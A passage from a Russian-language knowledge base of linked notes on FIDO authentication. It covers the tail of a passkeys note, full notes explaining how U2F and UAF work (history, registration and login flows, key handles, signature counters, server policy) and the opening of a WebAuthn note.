формат файла и защищённая процедура обмена между двумя приложениями. Формат называется Credential Exchange Format (CXF), а процедура — Credential Exchange Protocol (CXP). CXF 1.0 утверждён FIDO Alliance как стабильная предложенная редакция (Proposed Standard) с исправлениями от 9 марта 2026 года. CXP остаётся рабочим черновиком (Working Draft) от 3 октября 2024 года. Поэтому повсеместную совместимость пока предполагать нельзя. Экспорт возможен только для записей, которые поставщик разрешает переносить. Учётные данные аппаратного ключа без права резервного копирования нельзя превратить в экспортируемый файл вопреки политике аутентификатора. Стандарт переноса также не заменяет восстановление аккаунта у самого сервиса. ## Плюсы - **Устойчивость к фишингу:** точный адрес страницы и область сайта входят в проверяемые подписанные данные, поэтому ответ с поддельного домена не подходит настоящему сервису. - **Утечка серверной записи не даёт закрытого ключа:** идентификатор записи и открытый ключ остаются чувствительными метаданными, но не позволяют подписать новую одноразовую задачу сервера. - **Вход проще пароля:** достаточно касания или взгляда, а браузер способен подставить ключ доступа прямо в поле логина ([[FIDO/webauthn|как это работает]]). - **Синхронизируемая запись переживает потерю одного устройства**, если пользователь сохранил доступ к провайдеру и его процедуре восстановления. ## Минусы и критика - **Облачный аккаунт — новая точка отказа.** Защита синхронизируемого ключа доступа существенно зависит от безопасности аккаунта поставщика, локальной блокировки устройств и стойкости процедур восстановления против социальной инженерии. - **Привязка к экосистеме.** Общий формат CXF уже стандартизирован, а протокол обмена CXP остаётся рабочим черновиком; фактический перенос зависит от поддержки обоих провайдеров и платформы. - **Слабый запасной вход оставляет альтернативную атаку.** Ключ доступа продолжает защищать свой путь входа, но пароль, SMS или восстановление по электронной почте позволяют атакующему обойти его ([[SMS]]). Восстановление и добавление новой записи нужно защищать не слабее основного входа. - **Потребительские синхронизируемые ключи обычно не дают проверяемое аппаратное свидетельство о модели.** Запись без резервной копии тоже не гарантирует аттестацию автоматически: сервер должен запросить и проверить её отдельно ([[FIDO/fido-protocols#Attestation: когда серверу важен тип аутентификатора|что это значит]]). - **Шероховатости реализации.** Ранние годы (2022–2024) запомнились несовместимостями: не каждый сайт принимал passkey из каждого хранилища, а поведение разных браузеров расходилось. Ситуация выправляется, но неровности ещё встречаются. ## Что выбрать на практике Для обычных аккаунтов синхронизируемый ключ доступа убирает повторно используемый пароль и переживает потерю одного устройства. Для основной почты, финансов и административных учётных записей полезна более строгая схема: два независимых аутентификатора без резервного копирования, раздельное хранение и заранее проверенное восстановление. Слабые запасные способы отключают только после регистрации резервов и сохранения кодов восстановления; подбор железа — в [[FIDO/hardware-security-keys|статье о ключах]]. ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-protocols|Протоколы FIDO]] — общая картина: challenge-response, привязка к домену, attestation - [[FIDO/webauthn|WebAuthn]] — техническая основа: discoverable credentials, conditional UI - [[FIDO/ctap|CTAP]] — PIN, сброс ключа и гибридный транспорт на уровне протокола - [[FIDO/hardware-security-keys|Физические ключи безопасности]] — device-bound: модели, лимиты, чек-лист - [[TOTP/aegis-vs-stratum|Aegis и Stratum]] — приложения для TOTP, буквенный код Яндекса и защита резервных копий - [[SMS]] — слабый фолбэк, который стоит отключить - 🔗 [fidoalliance.org/passkeys](https://fidoalliance.org/passkeys/) — материалы альянса о passkey - 🔗 [RFC 6238: TOTP](https://www.rfc-editor.org/rfc/rfc6238) — общий секрет, вычисление кода и требования к хранению - 🔗 [NIST SP 800-63B](https://pages.nist.gov/800-63-4/sp800-63b.html) — фишингоустойчивость, компрометация устройства и синхронизируемые аутентификаторы - 🔗 [Yubico: OATH в Yubico Authenticator](https://docs.yubico.com/software/yubikey/tools/authenticator/auth-guide/oath.html) — хранение TOTP-секретов в YubiKey и вычисление кодов - 🔗 [Credential Exchange Specifications](https://fidoalliance.org/download-credential-exchange-specifications/) — текущие статусы CXF и CXP - 🔗 [WebAuthn Level 3: credential backup state](https://www.w3.org/TR/webauthn-3/#sctn-credential-backup-state) — нормативные флаги BE/BS --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/passkeys.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - u2f - fido2 - 2fa - ctap - webauthn aliases: - U2F - Universal 2nd Factor - FIDO U2F - CTAP1 - Как работает U2F ключ - U2F и WebAuthn совместимость link: https://fidoalliance.org/specifications/download/ --- # ✌️ U2F (Universal 2nd Factor): что это, история, механика, плюсы и минусы > [!info] О чём заметка > Первый массовый стандарт криптографического входа с универсальным аппаратным ключом использует его как **второй фактор** после пароля. Здесь разобраны регистрация, вход, привязка к сайту, счётчик подписей и совместимость со следующим поколением протоколов. Общая механика — в [[FIDO/fido-protocols|заметке о протоколах]], история отраслевого альянса — в [[FIDO/fido-history|истории FIDO]], выбор железа — в [[FIDO/hardware-security-keys|статье о физических ключах]]. До U2F сайт обычно проверял пароль и больше не мог отличить владельца аккаунта от человека, который этот пароль украл. Аппаратный ключ добавляет второй шаг: он создаёт для каждого сервиса отдельную пару математически связанных ключей, оставляет закрытую часть внутри устройства, а сервер проверяет подпись открытой частью. Такой второй фактор и называют U2F, Universal 2nd Factor, «универсальным вторым фактором». U2F стал частью семейства открытых стандартов FIDO, Fast IDentity Online, «быстрая идентификация в сети». Эти правила должны были работать одинаково на разных сайтах и с разными ключами. Стандарты развивали компании, объединившиеся в отраслевой альянс FIDO Alliance. Альянс публикует спецификации и организует проверку совместимости, поэтому разработчики сервиса могут опираться на общий протокол, а не на отдельный ключ конкретного банка. ## От второго фактора к стандарту Идея U2F выросла из внутренней задачи Google защитить аккаунты собственных сотрудников от фишинга. По публикациям инженеров Google, прототип аппаратного ключа разрабатывался с начала 2010-х под внутренним именем Gnubby, а партнёром по железу стала Yubico. В 2013 году компании вступили в FIDO Alliance и передали наработки альянсу как основу открытого стандарта. Дальше хронология версий протокола: | Когда | Что произошло | |---|---| | Октябрь 2014 | Google запускает поддержку U2F для Google Accounts в Chrome 38+; Yubico в тот же день представляет Security Key | | 8 декабря 2014 | **FIDO 1.0** — первый финальный релиз альянса: спецификации U2F 1.0 и UAF 1.0 (беспарольная мобильная ветка, о ней — в [[FIDO/fido-history|истории FIDO]]) | | 11 апреля 2017 | Документ U2F 1.2 датирован этой редакцией; пакет спецификаций получил одобрение FIDO 11 июля 2017 года | | 2018–2019 | Появляются ранние редакции WebAuthn и CTAP2, а в марте 2019 года FIDO Alliance объявляет FIDO2; U2F получает имя **CTAP1** и становится режимом обратной совместимости | | Февраль–август 2022 | Chrome 98 отключает старый U2F API по умолчанию, Chrome 104 удаляет его полностью; сами токены продолжают работать через WebAuthn | Итог этой эволюции: U2F живёт как CTAP1 и режим совместимости. Аутентификаторам CTAP2 рекомендуется поддерживать CTAP1, но для каждого специализированного устройства это не безусловное требование. Старые регистрации U2F работают через [[FIDO/webauthn|WebAuthn]], когда сервер передаёт прежние идентификаторы записей в `allowCredentials` и использует расширение `appid`; новые интеграции используют WebAuthn напрямую. Совместимость нужна для ранее созданных записей U2F. Новая запись WebAuthn не обязана работать со старым программным интерфейсом U2F в браузере, даже если тот же сайт принимает старые записи через расширение `appid`. ## Что именно проверяет U2F U2F не заменяет пароль. Сайт сначала проверяет пароль, затем просит коснуться ключа и проверяет его криптографическую подпись. Один и тот же ключ подходит разным сайтам, но для каждого сервиса создаёт отдельную пару, поэтому поддельная страница не может использовать подпись, предназначенную настоящему домену. Каждый вход начинается со случайного одноразового запроса сервера. Устройство включает этот запрос в подпись; такой запрос называют `challenge` («вызов»). Браузер собирает сведения о странице и способе вызова в `ClientData` («данные клиента»), а сервер принимает ответ только в той области сайта, для которой создавался ключ. Ранняя схема задавала область сайта полным веб-адресом. Веб-адрес называют URL (Uniform Resource Locator); он включает схему, имя узла и порт. Идентификатор всей области приложения называют `AppID`, адрес разрешённой части приложения — `FacetID`, а список таких адресов — `Trusted Facet List` («список доверенных частей»). Браузер проверял, что конкретная страница входит в этот список. Современная схема отдельно фиксирует адрес страницы, с которой началась операция, и идентификатор сайта, которому разрешено принимать ключ. Адрес страницы называют `origin` («происхождение запроса»), а идентификатор сайта — `RP ID` («идентификатор сервиса»). RP происходит от relying party и означает сайт или приложение, которое полагается на результат проверки при входе. Привязка к странице и сервису не даёт поддельному домену использовать подпись настоящего сайта; подробное сравнение `origin` и RP ID разобрано в [[FIDO/fido-protocols#Origin и RP ID: две границы доверия|протоколах FIDO]]. Серверу нужно сохранить открытый ключ и короткую запись, по которой устройство найдёт соответствующую закрытую часть. Такую запись называют `key handle` («идентификатор ключа»), а саму учётную запись — `credential` («учётные данные»). Формат key handle стандарт оставляет производителю. Устройство сообщает о двух разных фактах. Человек физически коснулся ключа, а пользователь мог дополнительно пройти локальную проверку PIN-кодом или биометрией. Первый факт называют `user presence` (UP, «присутствие пользователя»), второй — `user verification` (UV, «проверка пользователя»). Старый U2F обычно требовал только UP, поэтому касание не доказывало личность владельца. При регистрации устройство может приложить подписанное свидетельство о происхождении и свойствах модели. Такое свидетельство называют `attestation` («аттестация»). Подписанный ответ на запрос входа называют `assertion` («утверждение аутентификатора»), а часть ключевой пары, которой сервер проверяет подпись, — `public key` («открытый ключ»). Распространённый формат сертификата аттестации — `X.509`. ## От U2F к FIDO2 В следующем поколении внешний ключ общается с браузером или операционной системой через отдельный канал, а сайт работает через стандартный веб-интерфейс. Канал связи с внешним устройством называют `CTAP1`, веб-интерфейс — `WebAuthn`; вместе с более новым CTAP2 они образуют семейство FIDO2. Слово `API` означает программный интерфейс, через который одна программа вызывает функции другой. Для совместимости WebAuthn передаёт старые идентификаторы ключей в поле `allowCredentials` («разрешённые учётные данные») и включает расширение `appid`, которое сообщает прежний AppID. Хэш, то есть короткий результат криптографического преобразования, обозначают `SHA-256`; поле `rpIdHash` содержит такой результат для RP ID или, в режиме совместимости, для AppID. U2F передаёт два 32-байтных хэша. Хэш AppID называют `application parameter` («параметр приложения»), а хэш структуры ClientData — `challenge parameter` («параметр вызова»). Оба входят в подписываемые данные и не являются открытым текстом пароля. Тексты стандартов различают обязательное требование и рекомендацию. Слово `MUST` означает безусловное требование спецификации, а `SHOULD` означает рекомендацию, от которой реализация может отступить при обоснованной причине. Одноразовый код, который приложение рассчитывает из общего секрета и текущего времени, называют TOTP (Time-based One-Time Password). Такой код можно перенести на поддельную страницу, тогда как подпись U2F привязана к области сайта. Для создания ключей и подписей U2F задаёт конкретную математическую эллиптическую кривую. Она называется `P-256`, определяет совместимый формат ключа и позволяет серверу проверить подпись тем же алгоритмом. При регистрации устройство может вернуть сертификат формата `X.509`, который связывает ключ аттестации с изготовителем; это не сертификат пользовательского аккаунта. ## Как работает ```mermaid sequenceDiagram participant RP as Сервис / RP participant B as Браузер / клиент FIDO participant K as U2F-токен / CTAP1 RP->>B: challenge + AppID B->>K: хэш данных клиента + хэш AppID K->>K: обычный режим требует касания K-->>B: открытый ключ + идентификатор + аттестация + подпись B-->>RP: ответ регистрации RP->>RP: сохранить открытый ключ и идентификатор RP->>B: новый вызов + идентификатор B->>K: хэш вызова + хэш AppID + идентификатор K->>K: проверить идентификатор, касание, увеличить счётчик K-->>B: признак касания + счётчик + подпись B-->>RP: утверждение RP->>RP: проверить подпись, AppID и счётчик ``` ### Регистрация 1. Сайт передаёт браузеру случайный challenge, ClientData и AppID. Браузер проверяет FacetID и вычисляет хэши клиентских данных и AppID. 2. Пользователь касается кнопки ключа, подтверждая физическое присутствие человека (user presence). 3. Ключ генерирует новую пару ключей и возвращает открытый ключ P-256, **key handle**, сертификат attestation X.509 и подпись над application parameter, challenge parameter, key handle и открытым ключом. 4. Сервер сохраняет открытый ключ и key handle рядом с учёткой пользователя. ### Вход 1. После проверки пароля сервер присылает challenge и сохранённый key handle. 2. Ключ проверяет, что key handle действительно его и выпущен для этого AppID. Чужой или подменённый идентификатор устройство отвергает. 3. В обычном режиме пользователь касается кнопки. Ключ подписывает application parameter, байт user presence, счётчик и challenge parameter. 4. Сервер проверяет подпись открытым ключом и сверяет счётчик. ## Key handle: как токен находит credential Спецификация требует, чтобы key handle позволял токену найти нужную пару ключей и отвергнуть handle другого токена или AppID. Формат остаётся внутренним делом реализации. Stateless-токен может зашифровать закрытый ключ и область приложения собственным wrapping key и вернуть весь блок серверу. Другой токен может хранить ключ внутри и использовать handle как индекс. Возможен и индекс во внешней памяти. ```mermaid flowchart TD Handle["Идентификатор от сервера"] --> Choice{"Реализация токена"} Choice --> Wrapped["Упакованные учётные данные
закрытый ключ внутри идентификатора"] Choice --> Internal["Индекс
ключ хранится внутри токена"] Choice --> External["Индекс
таблица во внешней памяти"] Wrapped --> Sign["Проверить AppID и подписать"] Internal --> Sign External --> Sign ``` Некоторые устройства не хранят отдельную запись для каждого сайта. Они упаковывают закрытый ключ и служебные данные внутрь key handle. Такую реализацию называют `stateless` («без хранения состояния»), а ключ, которым устройство защищает упаковку, — `wrapping key`. `Master key` («главный ключ») и `secure element` («защищённый элемент») возможны в отдельных моделях, но стандарт U2F их не требует. Такая схема даёт очень большое число регистраций без расхода памяти токена. Стандарт не обещает «безлимит» для каждой модели и не требует master key, secure element или аппаратной реализации. Дешевизна U2F связана с малым набором операций и отсутствием `discoverable credential`, PIN, экрана и часов. Старый ключ не умеет сам предложить учётную запись: сервер сначала присылает ему key handle. Такой режим называют `non-discoverable credential` («учётные данные, которые нельзя обнаружить без идентификатора»). Обратный режим с самостоятельным поиском записи появился в FIDO2 и называется `discoverable credential`. ## Счётчик: защита от клонов Каждая подпись включает счётчик. Сервер запоминает последнее значение; `newCounter <= storedCounter` служит сигналом возможного клонирования, сброса или неисправности токена. Реакцию выбирает сервис: запросить другой фактор, предупредить пользователя или отклонить вход. Счётчик называют `counter`; отдельный счётчик для каждой записи называют `per-credential counter`. U2F допускал один общий счётчик для всего устройства и отдельные счётчики для областей или записей. Счётчик не доказывает клон и не ловит все случаи. Если после копирования используется только клон, а оригинал больше не подписывает, значения могут расти последовательно. Общий счётчик создаёт побочный канал корреляции между credentials. WebAuthn рекомендует отдельный счётчик каждой записи для приватности, но также допускает другие реализации. ## Плюсы - **Фишинг-устойчивость.** Утверждение привязано к AppID и проверенному FacetID, поэтому ответ с поддельного домена не подходит настоящему сервису, в отличие от кодов из SMS и TOTP-приложений, которые можно перенести между сайтами ([[SMS]]). - **Много регистраций и простое железо.** Wrapped key handle позволяет stateless-токену не хранить отдельную запись для каждого сервиса; конкретные модели всё равно могут иметь лимиты. - **Приватность.** На каждую область приложения создаётся своя пара ключей, поэтому серверные записи учётных данных не дают общего идентификатора между сервисами. Одинаковая учётная запись, attestation и другие метаданные остаются отдельными каналами корреляции. - **Простота эксплуатации.** Типичный USB- или NFC-токен не требует перепечатывать одноразовый код; конкретные модели могут требовать системной поддержки или приложения для настройки. ## Минусы - **Пароль остаётся.** U2F работает только как второй фактор: утечки, подбор и повторное использование паролей никуда не деваются, вход по-прежнему двухшаговый. Беспарольный вход появился лишь в FIDO2 ([[FIDO/fido-protocols|подробнее]]). - **Касание не проверяет личность.** U2F подтверждает присутствие человека, но не то, что это владелец: укравший ключ и знающий пароль войдёт без препятствий. User verification (PIN, биометрия) добавили только в FIDO2. - **Счётчик создаёт побочный канал.** Глобальный счётчик способен коррелировать credentials между сервисами; стандарт допускал и другие варианты, поэтому риск зависит от реализации. - **Веб-интеграция стареет.** Chrome отключил U2F API по умолчанию в 98 и удалил в 104. Старые credentials работают через WebAuthn только при корректной поддержке `appid` на стороне сервиса. - **Потеря ключа блокирует аккаунт.** Без заранее привязанного резервного ключа восстановление доступа превращается в долгую переписку с поддержкой. Правило «минимум два ключа» из [[FIDO/hardware-security-keys#Как выбрать: чек-лист|чек-листа выбора]] родилось именно здесь. ## U2F в 2026 году: стоит ли использовать Если U2F-ключ уже есть, его можно продолжать использовать на сайтах, которые принимают CTAP1 через WebAuthn. Покупать новый ключ «только с U2F» обычно нет смысла: многие современные [[FIDO/hardware-security-keys|FIDO2-ключи]] сохраняют CTAP1-совместимость, а CTAP2-модели могут дополнительно поддерживать PIN, user verification и discoverable credentials. Эти возможности нужно сверять для конкретного устройства. ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-protocols|Протоколы FIDO]] — общая механика: challenge-response, привязка к домену, FIDO2/WebAuthn - [[FIDO/fido-history|Что такое FIDO и его история]] — альянс и хронология стандартов - [[FIDO/webauthn|WebAuthn]] — веб-API, через который U2F-ключи работают сегодня - [[FIDO/ctap|CTAP]] — транспортный протокол; U2F живёт в нём как CTAP1 - [[FIDO/uaf|UAF]] — парная беспарольная ветка FIDO 1.0 - [[FIDO/hardware-security-keys|Физические ключи безопасности]] — какие ключи бывают и как выбрать - [[SMS]] — почему SMS-коды не защищают от фишинга - 🔗 [U2F 1.2 Raw Message Formats](https://fidoalliance.org/specs/fido-u2f-v1.2-ps-20170411/fido-u2f-raw-message-formats-v1.2-ps-20170411.html) — точный формат регистрации и входа - 🔗 [U2F 1.2 AppID and Facets](https://fidoalliance.org/specs/fido-u2f-v1.2-ps-20170411/fido-appid-and-facets-v1.2-ps-20170411.html) — область приложения и доверенные origin --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/u2f.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - uaf - fido2 - 2fa - history aliases: - UAF - Universal Authentication Framework - Как работал FIDO UAF - UAF и FIDO2 отличия - Беспарольная аутентификация до passkeys link: https://fidoalliance.org/specifications/download/ --- # 📱 UAF: беспарольная ветка FIDO 1.0, которая не взлетела > [!info] О чём заметка > Второй стандарт раннего семейства криптографической аутентификации описывал беспарольный вход по локальному жесту, цифровому коду или биометрии в мобильных приложениях. Здесь разобраны его архитектура, операции, причины ограниченного распространения и связь с современными протоколами. Общая история стандартов — в [[FIDO/fido-history|истории FIDO]]. Мобильное приложение может попросить телефон подтвердить вход отпечатком, PIN-кодом или другим локальным жестом. Телефон не отправляет серверу биометрический шаблон: он разрешает закрытому ключу подписать запрос, а сервис проверяет подпись открытым ключом. Такой беспарольный сценарий раннего поколения FIDO называли UAF, Universal Authentication Framework, «универсальной платформой аутентификации». FIDO, Fast IDentity Online, «быстрая идентификация в сети», объединяет открытые правила криптографического входа. В первом поколении правила разделяли два сценария: аппаратный ключ добавлял второй фактор к паролю, а мобильное устройство могло заменить пароль локальным подтверждением. Спецификации развивали компании, объединившиеся в отраслевой альянс FIDO Alliance. Альянс утверждает документы, поддерживает общие требования и ведёт каталог совместимых решений. ## UAF родился как мобильный сценарий В первом поколении FIDO ([[FIDO/fido-history#2013–2014: U2F, UAF и первый стандарт|FIDO 1.0]]) роли были разделены: [[FIDO/u2f|U2F]] добавлял аппаратный второй фактор к существующему паролю, а **UAF** позволял сервису убрать пароль из обычного сценария входа. Пользователь регистрировал устройство, часто смартфон с сенсором отпечатка, и затем подтверждал вход локальным жестом или биометрией. Способ восстановления аккаунта оставался отдельным решением сервиса. UAF 1.0 вошёл в первый финальный пакет FIDO 1.0 в декабре 2014 года. Криптографическая основа совпадала с другими протоколами FIDO ([[FIDO/fido-protocols|разбор]]): устройство создавало пару ключей для области сервиса, а закрытым ключом подписывало случайный запрос. Биометрический шаблон и результат внутренней проверки не передавались серверу. ## Роли в архитектуре Приложение пользователя отправляет запрос на сервер, промежуточная программа выбирает подходящее устройство, а устройство создаёт подпись закрытым ключом. Сервис, который принимает вход и полагается на результат криптографической проверки, называют RP, relying party, «полагающаяся сторона». Сервер этого сервиса называют `FIDO Server`, а устройство, которое хранит ключ и выполняет локальную проверку, — `Authenticator` («аутентификатор»). Между приложением и устройством работает слой, который понимает сообщения протокола и скрывает различия платформ. Этот программный компонент на телефоне называют `FIDO UAF Client`; слово `Client` здесь означает посредника между приложением и аутентификатором, а не пользователя. Разные производители используют разные сенсоры, хранилища и способы разблокировки. Специальный модуль-посредник переводит единый запрос в команды конкретного устройства. Его называют `ASM`, Authenticator Specific Module, «модуль для конкретного аутентификатора». Один ASM может обслуживать несколько доступных устройств. Серверу нужны сведения о возможностях и сертификации моделей, чтобы не принимать неподходящий способ разблокировки. Описание свойств модели называют `metadata` («метаданные»), а доверенный набор сертификатов и правил проверки — `attestation trust store` («хранилище доверия к аттестациям»). Схема связывает приложение сервиса, UAF Client, ASM, Authenticator и FIDO Server. UAF Client принимает протокольные сообщения, ASM скрывает особенности конкретного сенсора и хранилища ключей, а сервер использует metadata и attestation trust store для проверки заявленных свойств. ```mermaid flowchart LR RPApp["Приложение сервиса
установленное или веб"] <-->|"сообщение UAF"| Client["Клиент UAF"] Client <-->|"программный интерфейс ASM"| ASM["Модуль конкретного аутентификатора"] ASM <-->|"команды конкретной платформы"| Auth["Аутентификатор
ключи + локальная проверка"] RPApp <-->|"защищённое соединение"| Server["Сервер FIDO
политика + открытые ключи"] Server --> Meta["Метаданные и
хранилище доверия"] ``` ## Как приложение добиралось до устройства Сайт или приложение должно передать запрос в установленный компонент телефона. UAF допускал системный обмен сообщениями, встроенный интерфейс страницы и отдельное расширение браузера. Набор программных функций, через который один компонент вызывает другой, называют API, Application Programming Interface, «программный интерфейс приложения». На Android запрос можно было передать системным сообщением `Intent` или через интерфейс межпроцессного вызова `AIDL`. В iOS приложение могло открыть другое приложение по специальной ссылке, которую называют `custom URL`. Другими вариантами были встроенный интерфейс страницы `window.navigator.fido.uaf` и подключаемый модуль браузера `plugin`. Набор библиотек производителя `SDK` был распространённым способом подключения, но не единственным; `native IPC` обозначает межпроцессное взаимодействие на уровне платформы, а `DOM API` предоставляет странице функции браузера. Проблема такой схемы проявлялась при установке: платформа и браузер должны были заранее получить совместимый UAF Client, ASM или подключаемый модуль. Веб-ветка позже получила единый API прямо в браузерах и операционных системах, поэтому сайту больше не требовалось поставлять собственный набор компонентов. ## Регистрация, вход и подтверждение операции Во время регистрации устройство создаёт ключевую пару и связывает её с учётной записью. При входе оно проверяет локальный жест и подписывает новый запрос. В спецификации эти две операции называют `Registration` («регистрация») и `Authentication` («аутентификация»), а подписанный ответ устройства — `assertion` («утверждение аутентификатора»). ```mermaid sequenceDiagram participant S as FIDO Server participant C as UAF Client participant A as ASM + Authenticator S->>C: вызов + политика C->>A: выбрать подходящий аутентификатор A->>A: локальная проверка, создать ключевую пару A-->>C: идентификатор + открытый ключ + аттестация + утверждение C-->>S: ответ регистрации S->>S: проверить политику и сохранить открытый ключ S->>C: вызов для входа C->>A: запрос утверждения A->>A: локальная проверка и подпись A-->>C: подписанное утверждение C-->>S: ответ аутентификации ``` Для платежа или подписания документа устройство может показать человеку точный текст операции и попросить подтвердить именно его. Такой режим называют `Transaction Confirmation` («подтверждение транзакции»), а принцип «что видишь, то и подписываешь» — `WYSIWYS`, What You See Is What You Sign. Transaction Confirmation использует тот же тип операции аутентификации, сокращённо `Auth`, но добавляет человекочитаемое содержимое транзакции. Аутентификатор или доверенный экран показывает текст, пользователь подтверждает его, после чего устройство подписывает assertion. Когда пользователь удаляет ключ для конкретного приложения, сервер должен удалить соответствующую запись. Операцию называют `Deregistration` («отмена регистрации»), а запрос списка доступных устройств перед началом работы — `Discovery` («обнаружение возможностей»). В документах UAF `Transaction Confirmation` предназначен для платежей, договоров и других операций, где важен подтверждённый текст. `Deregistration` удаляет конкретную пару `(AAID, KeyID)`, все ключи заданного AAID или все ключи приложения. Ответ серверу для этой операции не требуется. ## Какие сведения сервер принимает Случайный одноразовый запрос сервера устройство включает в подпись. Такой запрос называют `challenge` («вызов»), открытый ключ для проверки подписи — `public key`, а короткий идентификатор созданной записи — `KeyID`. Сервер получает криптографическое assertion, public key и KeyID, а при необходимости также attestation и метаданные. При регистрации устройство может добавить свидетельство о происхождении и свойствах модели. Такое свидетельство называют `attestation`; подписанный ответ на регистрацию или вход уже введён выше как assertion. Сервер передаёт правила, по которым устройство считается подходящим: разрешённые модели, способы проверки пользователя, алгоритмы и наличие экрана. Такой набор правил называют `Policy` («политика»); список допустимых сочетаний — `accepted`, а список исключений — `disallowed`. Каждая модель аутентификатора имеет короткий идентификатор производителя и модели. Его называют `AAID`, Authenticator Attestation ID; это не серийный номер конкретного экземпляра. Сервер сопоставляет AAID с `Metadata Statement` («описанием метаданных»). Для локальной проверки пользователь прикладывает палец, вводит PIN или выполняет другой разрешённый жест. Стандарт называет это `user verification` (UV, «проверка пользователя»), а устройство, которое распознаёт жест или биометрию, — `matcher` («модуль сопоставления»). `Attachment hint` («признак способа подключения») сообщает, встроен ли аутентификатор в телефон, подключён извне или доступен по сети. ## Связь с вебом и статус стандарта Современная веб-ветка FIDO использует интерфейс браузера и отдельный протокол связи с внешним устройством. Интерфейс сайта с браузером называется `WebAuthn`, Web Authentication, «веб-аутентификация», протокол клиента с аутентификатором — `CTAP`, Client to Authenticator Protocol, «протокол связи клиента с аутентификатором», а их современную связку называют `FIDO2`. Эти названия относятся к другой архитектуре и не являются новыми версиями сообщений UAF. Для совместимости с веб-веткой UAF 1.2 мог использовать общую структуру клиентских данных, куда входят тип операции, challenge и origin страницы. В спецификации эту структуру называют `CollectedClientData` («собранные данные клиента»). Здесь `origin` означает адрес страницы, с которой началась операция. FIDO Alliance называет стабильную редакцию, утверждённую участниками альянса, Proposed Standard («предлагаемый стандарт»). Такой статус не означает черновик отдельного производителя: документ прошёл процедуру утверждения FIDO. ## Где применялся Первые внедрения появились ещё до финального UAF 1.0. PayPal и Samsung объявили вход и платежи по отпечатку на Galaxy S5 в феврале 2014 года. NTT DOCOMO развернула FIDO-аутентификацию в мае 2015 года и позже получила сертификацию UAF 1.1. FIDO Alliance также документировал Bank of America, Shinhan Bank и корейские отраслевые сценарии под общим названием K-FIDO. Публично описанные внедрения заметно сосредоточены в Японии и Южной Корее, но по этим кейсам нельзя строить статистику всего рынка. UAF работал в коммерческих продуктах, однако не стал универсальным интерфейсом массового веба. ## Как сервер выбирал допустимый аутентификатор Сервер отправлял `Policy`. Поле `accepted` содержало альтернативные комбинации критериев: внутри комбинации нужно выполнить все условия, а между комбинациями достаточно одной. `disallowed` исключал нежелательные варианты. Критерии могли ограничивать AAID, способ user verification, защиту ключа и matcher, способ подключения, алгоритмы, вид аттестации и наличие доверенного экрана подтверждения транзакции. **AAID** имел формат `VVVV#MMMM` и обозначал производителя и модель аутентификатора, а не серийный номер экземпляра. Сервер сопоставлял AAID с Metadata Statement. ## Почему не взлетел Спецификация UAF была широкой, но внедрение зависело от платформенного UAF Client, ASM, системного межпроцессного обмена или подключаемого модуля браузера. Специальная ссылка iOS могла заметно переключать приложения, Android-интеграции различались по производителям, а браузеры не встроили DOM API повсеместно. Параллельно Android и Apple развивали собственные программные интерфейсы биометрии. Эти факторы дают правдоподобное объяснение ограниченного распространения, но спецификации не объявляют единственную официальную причину. WebAuthn получил более простой путь к массовому вебу: стандартный API встроили браузеры и ОС, а сайт перестал поставлять собственный UAF-стек. ## Наследие Беспарольный вход, локальная user verification и политика аутентификаторов появились в UAF до FIDO2 и имеют концептуальных наследников в WebAuthn и CTAP. Это не буквальный перенос всего UAF: модели API и протокольные структуры различаются, а UAF 1.2 уже добавлял элементы совместимости с WebAuthn через ранее описанную структуру `CollectedClientData`. UAF 1.0 получил Proposed Standard 8 декабря 2014 года, UAF 1.1 — 2 февраля 2017 года, UAF 1.2 — 20 октября 2020 года. Сама спецификация UAF 1.1 прямо называет редакцию от 2 февраля стабильным Proposed Standard, поэтому дата относится к публикации документа, а не к отдельному испытанию продукта. UAF 1.2 по-прежнему перечислен в каталоге спецификаций FIDO. Основной современный путь массовой аутентификации FIDO проходит через [[FIDO/webauthn|WebAuthn]], [[FIDO/ctap|CTAP]] и [[FIDO/passkeys|passkeys]]. ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-history|Что такое FIDO и его история]] — контекст: FIDO 1.0, путь к FIDO2 - [[FIDO/u2f|U2F]] — парный стандарт первого поколения: второй фактор - [[FIDO/fido-protocols|Протоколы FIDO]] — общая механика семейства - [[FIDO/passkeys|Passkeys]] — куда в итоге пришла беспарольная линия - 🔗 [UAF 1.2 Proposed Standard](https://fidoalliance.org/specs/fido-uaf-v1.2-ps-20201020/fido-uaf-protocol-v1.2-ps-20201020.html) — актуальная версия протокола UAF - 🔗 [UAF 1.1 Architectural Overview](https://fidoalliance.org/specs/fido-uaf-v1.1-ps-20170202/fido-uaf-overview-v1.1-ps-20170202.html) — роли Client, ASM и Authenticator --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/uaf.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - webauthn - fido2 - passkeys - api aliases: - WebAuthn - Web Authentication - WebAuthn API - Как работает navigator.credentials.create - Как работает navigator.credentials.get - WebAuthn для новичков link: https://www.w3.org/TR/webauthn-3/ --- # 🌐 WebAuthn: браузерный API аутентификации FIDO2 > [!info] О чём заметка > Сайт может попросить браузер создать для него отдельную пару ключей и потом проверять подписи этой пары при входе. Такой веб-интерфейс называется WebAuthn (Web Authentication) и образует веб-половину современного набора открытых стандартов криптографического 